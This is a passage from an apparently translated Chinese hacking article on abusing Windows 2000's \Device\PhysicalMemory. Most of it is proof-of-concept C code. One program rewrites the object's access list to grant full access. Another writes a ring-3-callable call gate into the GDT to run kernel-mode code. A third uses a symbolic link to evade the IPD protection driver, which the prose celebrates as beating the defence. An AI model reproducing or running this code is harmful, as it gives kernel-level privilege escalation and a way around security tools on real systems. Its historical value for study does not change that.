    因此,我们只需要用"\Device\PhysicalMemory"作为ObName来调用这个函数,并在OBJECT_ATTRIBUTES
结构中设置新的名字。我们用"\??\"作为对象的根目录,那么名字就是:"\??\hack_da_ipd"。

    起初,我问自己当用"\??\hack_da_ipd"来调用NtOpenSection的时候,核心怎么来处理symbolic link。
如果NtOpenSection检查目标对象是一个symbolic link,那么就再次调用 NtOpenSection,并且用对象的
真实名字,我们的symbolic link没有用处,因为IPD能探测得到。因此我跟踪了一下:

---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
     "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...          
     {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )  
     == 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
     148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---

    (windows版的strace可以在BindView's RAZOR站点找到。 [7])

    正如你所见,NtOpenSection函数根本不会重调自己来处理真实的对象名字,这简直太好了!这样,
\Device\PhysicalMemory就完全的我们的了,而IPD简直糟透了。记住,你必须在SYSTEM用户下运行该程序。


--[ 5 示例代码

LICENSE:
Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.

                                            crazylord / CNS

----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE    0x00000200L

typedef LONG NTSTATUS;
#define STATUS_SUCCESS       (NTSTATUS) 0x00000000L
#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
    }

#define INIT_UNICODE(_var,_buffer)            \
        UNICODE_STRING _var = {               \
            sizeof (_buffer) - sizeof (WORD), \
            sizeof (_buffer),                 \
            _buffer }

// callgate info
typedef struct _KGDTENTRY {
   WORD LimitLow;
   WORD BaseLow;
   WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4;
   UCHAR  app_system  :1;
   UCHAR  dpl         :2;
   UCHAR  present     :1;
   USHORT offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID            vAddress;
/*00C*/ DWORD            Offset;
/*010*/ } MAPPING, *PMAPPING;

// symlink info
#define SYMBOLIC_LINK_QUERY                              (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;
/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {
/*000*/ DISPATCHER_HEADER Header;
/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;
/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD         LastTrimFaultCount;
/*00C*/ DWORD         PageFaultCount;
/*010*/ DWORD         PeakWorkingSetSize;
/*014*/ DWORD         WorkingSetSize;
/*018*/ DWORD         MinimumWorkingSetSize;
/*01C*/ DWORD         MaximumWorkingSetSize;
/*020*/ PVOID         VmWorkingSetList;
/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;
/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;
/*02E*/ BYTE          ForegroundSwitchCount;
/*02F*/ BYTE          MemoryPriority;
/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG  ReadOperationCount;
/*008*/ ULONGLONG  WriteOperationCount;
/*010*/ ULONGLONG  OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;
/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS
// structure.

typedef struct _EPROCESS {
/*000*/ BYTE                   Pcb[0x6C];
/*06C*/ NTSTATUS               ExitStatus;
/*070*/ KEVENT                 LockEvent;
/*080*/ DWORD                  LockCount;
/*084*/ DWORD                  dw084;
/*088*/ LARGE_INTEGER          CreateTime;
/*090*/ LARGE_INTEGER          ExitTime;
/*098*/ PVOID                  LockOwner;
/*09C*/ DWORD                  UniqueProcessId;
/*0A0*/ LIST_ENTRY             ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD                  QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD                  QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD                  PagefileUsage;
/*0BC*/ DWORD                  CommitCharge;
/*0C0*/ DWORD                  PeakPagefileUsage;
/*0C4*/ DWORD                  PeakVirtualSize;
/*0C8*/ LARGE_INTEGER          VirtualSize;
/*0D0*/ MMSUPPORT              Vm;
/*100*/ LIST_ENTRY             SessionProcessLinks;
/*108*/ DWORD                  dw108[6];
/*120*/ PVOID                  DebugPort;
/*124*/ PVOID                  ExceptionPort;
/*128*/ PVOID                  ObjectTable;
/*12C*/ PVOID                  Token;
/*130*/ FAST_MUTEX             WorkingSetLock;
/*150*/ DWORD                  WorkingSetPage;
/*154*/ BOOLEAN                ProcessOutswapEnabled;
/*155*/ BOOLEAN                ProcessOutswapped;
/*156*/ BOOLEAN                AddressSpaceInitialized;
/*157*/ BOOLEAN                AddressSpaceDeleted;
/*158*/ FAST_MUTEX             AddressCreationLock;
/*178*/ KSPIN_LOCK             HyperSpaceLock;
/*17C*/ DWORD                  ForkInProgress;
/*180*/ WORD                   VmOperation;
/*182*/ BOOLEAN                ForkWasSuccessful;
/*183*/ BYTE                   MmAgressiveWsTrimMask;
/*184*/ DWORD                  VmOperationEvent;
/*188*/ PVOID                  PaeTop;
/*18C*/ DWORD                  LastFaultCount;
/*190*/ DWORD                  ModifiedPageCount;
/*194*/ PVOID                  VadRoot;
/*198*/ PVOID                  VadHint;
/*19C*/ PVOID                  CloneRoot;
/*1A0*/ DWORD                  NumberOfPrivatePages;
/*1A4*/ DWORD                  NumberOfLockedPages;
/*1A8*/ WORD                   NextPageColor;
/*1AA*/ BOOLEAN                ExitProcessCalled;
/*1AB*/ BOOLEAN                CreateProcessReported;
/*1AC*/ HANDLE                 SectionHandle;
/*1B0*/ PVOID                  Peb;
/*1B4*/ PVOID                  SectionBaseAddress;
/*1B8*/ PVOID                  QuotaBlock;
/*1BC*/ NTSTATUS               LastThreadExitStatus;
/*1C0*/ DWORD                  WorkingSetWatch;
/*1C4*/ HANDLE                 Win32WindowStation;
/*1C8*/ DWORD                  InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK            GrantedAccess;
/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD                  LdtInformation;
/*1D8*/ PVOID                  VadFreeHint;
/*1DC*/ DWORD                  VdmObjects;
/*1E0*/ PVOID                  DeviceMap;
/*1E4*/ DWORD                  SessionId;
/*1E8*/ LIST_ENTRY             PhysicalVadList;
/*1F0*/ PVOID                  PageDirectoryPte;
/*1F4*/ DWORD                  dw1F4;
/*1F8*/ DWORD                  PaePageDirectoryPage;
/*1FC*/ CHAR                   ImageFileName[16];
/*20C*/ DWORD                  VmTrimFaultValue;
/*210*/ BYTE                   SetTimerResolution;
/*211*/ BYTE                   PriorityClass;
/*212*/ WORD                   SubSystemVersion;
/*214*/ PVOID                  Win32Process;
/*218*/ PVOID                  Job;
/*21C*/ DWORD                  JobStatus;
/*220*/ LIST_ENTRY             JobLinks;
/*228*/ PVOID                  LockedPagesList;
/*22C*/ PVOID                  SecurityPort;
/*230*/ PVOID                  Wow64;
/*234*/ DWORD                  dw234;
/*238*/ IO_COUNTERS            IoCounters;
/*268*/ DWORD                  CommitChargeLimit;
/*26C*/ DWORD                  CommitChargePeak;
/*270*/ LIST_ENTRY             ThreadListHead;
/*278*/ PVOID                  VadPhysicalPagesBitMap;
/*27C*/ DWORD                  VadPhysicalPages;
/*280*/ DWORD                  AweLock;
/*284*/ } EPROCESS, *PEPROCESS;


// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall

IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
                   HANDLE ProcessHandle,
                   PVOID *BaseAddress,
                   ULONG ZeroBits,
                   ULONG CommitSize,
                   PLARGE_INTEGER SectionOffset,
                   PSIZE_T ViewSize,
                   SECTION_INHERIT InheritDisposition,
                   ULONG AllocationType,
                   ULONG Protect);

IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
                     PVOID BaseAddress);

IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
              ACCESS_MASK DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL
NtClose(HANDLE Handle);

IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                           ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes,
                           PUNICODE_STRING TargetName);


----[ 5.2 chmod_mem.c

#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"

void usage(char *n) {
   printf("usage: %s (/current | /user) [who]\n", n);
   printf("/current: add all access to current user\n");
   printf("/user   : add all access to user 'who'\n");
   exit(0);
}

int main(int argc, char **argv) {
   HANDLE               Section;
   DWORD                Res;
   NTSTATUS             ntS;
   PACL                 OldDacl=NULL, NewDacl=NULL;
   PSECURITY_DESCRIPTOR SecDesc=NULL;
   EXPLICIT_ACCESS      Access;
   OBJECT_ATTRIBUTES    ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   BOOL                 mode;

   if (argc < 2)
      usage(argv[0]);

   if (!strcmp(argv[1], "/current")) {
      mode = 1;
   } else if (!strcmp(argv[1], "/user") && argc == 3) {
     mode = 2;
   } else
      usage(argv[0]);

   memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
   InitializeObjectAttributes(&ObAttributes,
                              &ObName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   // open handle de \Device\PhysicalMemory
   ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }
  
   // retrieve a copy of the security descriptor
   Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
                         NULL, &SecDesc);
   if (Res != ERROR_SUCCESS) {
      printf("error: GetSecurityInfo (code: %lu)\n", Res);
      goto cleanup;
   }

   Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
   Access.grfAccessMode        = GRANT_ACCESS;
   Access.grfInheritance       = NO_INHERITANCE;
   Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
   // change these informations to grant access to a group or other user
   Access.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
   Access.Trustee.TrusteeType  = TRUSTEE_IS_USER;
   if (mode == 1)
      Access.Trustee.ptstrName = "CURRENT_USER";
   else
     Access.Trustee.ptstrName = argv[2];

   // create the new ACL
   Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }

   // update ACL
   Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,
                         NULL);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }
   printf("\\Device\\PhysicalMemory chmoded\n");
  
cleanup:
   if (Section)
      NtClose(Section);
   if (SecDesc)
      LocalFree(SecDesc);
   return(0);
}


----[ 5.3 winkdump.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#include "..\kmem.h"

ULONG   Granularity;

// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
   unsigned int      dp, p;
   const char        trans[] =
      "................................ !\"#$%&'()*+,-./0123456789"
      ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
      "nopqrstuvwxyz{|}~...................................."
      "....................................................."
      "........................................";

   for (dp = 1; dp <= amount; dp++)  {
      printf ("%02x ", data[dp-1]);
      if ((dp % 8) == 0)
         printf (" ");
      if ((dp % 16) == 0) {
         printf ("| ");
         p = dp;
         for (dp -= 16; dp < p; dp++)
            printf ("%c", trans[data[dp]]);
         printf ("\n");
      }
   }
   if ((amount % 16) != 0) {
      p = dp = 16 - (amount % 16);
      for (dp = p; dp > 0; dp--) {
         printf ("   ");
         if (((dp % 8) == 0) && (p != 8))
            printf (" ");
      }
      printf (" | ");
      for (dp = (amount - (16 - p)); dp < amount; dp++)
         printf ("%c", trans[data[dp]]);
   }
   printf ("\n");
   return ;
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;
  
   if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   else
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   return(add);
}

int InitSection(PHANDLE Section) {
   NTSTATUS          ntS;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
  
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);
  
   // open \Device\PhysicalMemory
   ntS = NtOpenSection(Section,
                       SECTION_MAP_READ,
                       &ObAttributes);
  
   if (ntS != STATUS_SUCCESS) {
      printf(" * error NtOpenSection (code: %x)\n", ntS);
      return(0);
   }
   return(1);
}

int main(int argc, char **argv) {
   NTSTATUS         ntS;
   ULONG            Address, Size, MappedSize, Offset;
   HANDLE           Section;
   PVOID            MappedAddress=NULL;
   SYSTEM_INFO      SysInfo;
   PHYSICAL_ADDRESS pAddress;
  
   printf(" *** win2k memory dumper ***\n\n");
  
   if (argc != 3) {
      printf("usage: %s <address> <size>\n", argv[0]);
      return(0);
   }
  
   Address = strtoul(argv[1], NULL, 0);
   MappedSize = Size = strtoul(argv[2], NULL, 10);
   printf(" Virtual Address       : 0x%.8x\n", Address);
  
   if (!Size) {
      printf("error: invalid size\n");
      return(0);
   }
  
   // get allocation granularity information
   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf(" Allocation granularity: %lu bytes\n", Granularity);
   if (!InitSection(&Section))
      return(0);
  
   Offset = Address % Granularity;
   MappedSize += Offset; // reajust mapping view
   printf(" Offset                : 0x%x\n", Offset);
   pAddress = GetPhysicalAddress(Address - Offset);
   printf(" Physical Address      : 0x%.16x\n", pAddress);

   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
                            MappedSize, &pAddress, &MappedSize, ViewShare,
                            0, PAGE_READONLY);

   printf(" Mapped size           : %lu bytes\n", MappedSize);
   printf(" View size             : %lu bytes\n\n", Size);

   if (ntS == STATUS_SUCCESS) {
      hexdump((char *)MappedAddress+Offset, Size);
      NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
   } else {
      if (ntS == 0xC00000F4L)
         printf("error: invalid physical address translation\n");
      else
         printf("error: NtMapViewOfSection (code: %x)\n", ntS);
   }

   NtClose(Section);
   return(0);
}


----[ 5.2 winkps.c

// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "..\kmem.h"

// get this address from win2k symbols
#define PSADD    0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50

typedef struct _MY_CG {
   PHYSICAL_ADDRESS     pAddress;
   PVOID                MappedAddress;
   PCALLGATE_DESCRIPTOR Desc;
   WORD                 Segment;
   WORD                 LastEntry;
} MY_CG, *PMY_CG;

ULONG         Granularity;
PLIST_ENTRY   PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG         GdtMap;
MAPPING       CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {
   _asm {
      pushad
      pushf
      cli

      mov esi, CurMap.vAddress
      push esi
      call MmGetPhysicalAddress
      mov CurMap.pAddress, eax  // save low part of LARGE_INTEGER
      mov [CurMap+4], edx       // save high part of LARGE_INTEGER

      popf
      popad
      retf
   }
}

// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
   WORD   farcall[3];
   HANDLE Thread = GetCurrentThread();

   farcall[2] = GdtMap.Segment;

   if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
      printf("error: unable to lock function\n");
      CurMap.pAddress.QuadPart = 1;
   } else {
      CurMap.vAddress = vAddress; // ugly way to pass argument
      CurMap.Offset   = (DWORD) vAddress % Granularity;
      (DWORD) CurMap.vAddress -= CurMap.Offset;

      SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
      Sleep(0);

      _asm call fword ptr [farcall]

      SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
      VirtualUnlock((PVOID) Ring0Func, 0x30);
   }
   return(CurMap.pAddress);
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;

    if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   } else {
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   }
   return(add);
}

void UnmapMemory(PVOID MappedAddress) {
   NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}

int InstallCallgate(HANDLE Section, DWORD Function) {
   NTSTATUS             ntS;
   KGDTENTRY            gGdt;
   DWORD                Size;
   PCALLGATE_DESCRIPTOR CgDesc;

   _asm sgdt gGdt;

   printf("virtual address of GDT : 0x%.8x\n",
          MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   GdtMap.pAddress =
              GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
  
   Size = gGdt.LimitLow;
   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
                            0L, Size, &GdtMap.pAddress, &Size, ViewShare,
                            0, PAGE_READWRITE);
   if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
      printf("error: NtMapViewOfSection (code: %x)\n", ntS);
      return(0);
   }

   GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
   for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
       GdtMap.Desc=NULL;
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
       CgDesc--) {
      
      //printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
      if(CgDesc->present == 0){
         CgDesc->offset_0_15  = (WORD) (Function & 0xFFFF);
         CgDesc->selector     = 8;
         CgDesc->param_count  = 0; //1;
         CgDesc->some_bits    = 0;
         CgDesc->type         = 12;     // 32-bits callgate junior :>
         CgDesc->app_system   = 0;      // A system segment
         CgDesc->dpl          = 3;      // Ring 3 code can call
         CgDesc->present      = 1;
         CgDesc->offset_16_31 = (WORD) (Function >> 16);
         GdtMap.Desc = CgDesc;
         break;
      }

   }

   if (GdtMap.Desc == NULL) {
      printf("error: unable to find free entry for installing callgate\n");
      printf("       not normal by the way .. your box is strange =]\n");
   }

   GdtMap.Segment =
      ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
   printf("Allocated segment      : %x\n", GdtMap.Segment);
   return(1);
}

int UninstallCallgate(HANDLE Section, DWORD Function) {
   PCALLGATE_DESCRIPTOR CgDesc;

   for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
      CgDesc--) {
      
      if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
         && CgDesc->offset_16_31 == (WORD) (Function >> 16)){
         memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
         return(1);
      }
   }
   NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
   return(0);
}

void UnmapVirtualMemory(PVOID vAddress) {
   NtUnmapViewOfSection((HANDLE) -1, vAddress);
}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
   PHYSICAL_ADDRESS pAddress;
   NTSTATUS         ntS;
   DWORD            MappedSize;
   PVOID            MappedAddress=NULL;

   //printf("* vAddress: 0x%.8x\n", vAddress);
   pAddress = NewGetPhysicalAddress((PVOID) vAddress);
   //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
   //       CurMap.vAddress, CurMap.Offset);
   //printf("* pAddress: 0x%.16x\n", pAddress);

   // check for error (1= impossible value)
   if (pAddress.QuadPart != 1) {
      Size += CurMap.Offset; // adjust mapping view
      MappedSize = Size;

      ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
                         0L, Size, &pAddress, &MappedSize, ViewShare,
                         0, PAGE_READONLY);
      if (ntS != STATUS_SUCCESS || !MappedSize) {
         printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
                vAddress, ntS);
         return(NULL);
      }
   } else
      MappedAddress = NULL;
   printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
         MappedSize, MappedAddress, Size);
   return(MappedAddress);
}

void DisplayProcesses(HANDLE Section) {
   int i = 0;
   DWORD     Padding;
   PEPROCESS CurProcess, NextProcess;
   PVOID     vCurEntry, vOldEntry, NewMappedAddress;
   PLIST_ENTRY PsCur;

   // first we map PsActiveProcessHead to get first entry
   vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
   if (!vCurEntry)
      return;
   PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
  
   // most of EPROCESS struct are located around 0xfc[e-f]00000
   // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
   while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
      NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
      //printf("==> Current process: %x\n", CurProcess);

      // we map 0x100000 bytes view so we store offset to EPROCESS
      Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

      // check if the next struct is already mapped in memory
      if ((DWORD) vCurEntry<= (DWORD) NextProcess
         && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
         // no need to remap
         // no remapping so we need to calculate the new address
         CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

      } else {
         CurProcess = NextProcess;
         // unmap old view and map a new one
         // calculate next base address to map
         vOldEntry = vCurEntry;
         vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

         //printf("link: %x, process: %x, to_map: %x, padding: %x\n",
         //    PsCur->Flink, TO_EPROCESS(PsCur->Flink),
         //    vCurEntry, Padding);

         // unmap old view
         UnmapVirtualMemory(vOldEntry);
         vOldEntry = vCurEntry;
         // map new view
         vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
         if (!vCurEntry)
            break;
         // adjust EPROCESS structure pointer
         CurProcess =
                 (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
         // save mapped address
         NewMappedAddress = vCurEntry;
         // restore pointer from mapped addresses space 0x4**** to
         // the real virtual address 0xf*******
         vCurEntry = vOldEntry;
      }

      // reajust pointer to LIST_ENTRY struct
      PsCur = &CurProcess->ActiveProcessLinks;
      printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
             CurProcess->ImageFileName[0] ?
             CurProcess->ImageFileName : "[system]");
      i++;
   }

   UnmapVirtualMemory(vCurEntry);
}

int main(int argc, char **argv) {
   SYSTEM_INFO       SysInfo;
   OBJECT_ATTRIBUTES ObAttributes;
   NTSTATUS          ntS;
   HANDLE            Section;
   HMODULE           hDll;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

   printf(" *** win2k process lister ***\n\n");

   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf("Allocation granularity: %lu bytes\n", Granularity);
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   hDll = LoadLibrary("ntoskrnl.exe");
   if (hDll) {
      MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
                    (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
      printf("MmGetPhysicalAddress   : 0x%.8x\n", MmGetPhysicalAddress);
      FreeLibrary(hDll);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
                       &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      if (ntS == STATUS_ACCESS_DENIED)
         printf("error: access denied to open
                                      \\Device\\PhysicalMemory for r/w\n");
      else
         printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }

   if (!InstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

   memset(&CurMap, 0, sizeof(MAPPING));

   __try {
      DisplayProcesses(Section);
   } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
      printf("exception: trying to clean callgate...\n");
      goto cleanup;
   }

   if (!UninstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

cleanup:
   if (Section)
      NtClose(Section);
   return(0);
}


----[ 5.4 fun_with_ipd.c

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"

int main() {
   NTSTATUS          ntS;
   HANDLE            SymLink, Section;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

   InitializeObjectAttributes(&ObAttributes,
                              &ObNewName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
                                    &ObAttributes, &ObName);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);
      return(0);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
   if (ntS != STATUS_SUCCESS)
      printf("error: NtOpenSection (code: %x)\n", ntS);
   else {
      printf("\\Device\\PhysicalMemory opened !!!\n");
      NtClose(Section);
   }

   // now you can do what you want
   getch();

   NtClose(SymLink);
   return(0);
}



--[ 6 - 结论

    我希望本文能帮助你明白基本的Windows核心对象操作。据我所知,你可以完全跟linux's /dev/kmem
一样做任何事情,而且没有任何限制,简直超出了你的想象。 :)

    我也希望本文能让Linux的纨绔子弟去读读。 (Refdom: 嘿嘿)

    Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]


--[ 7 - References

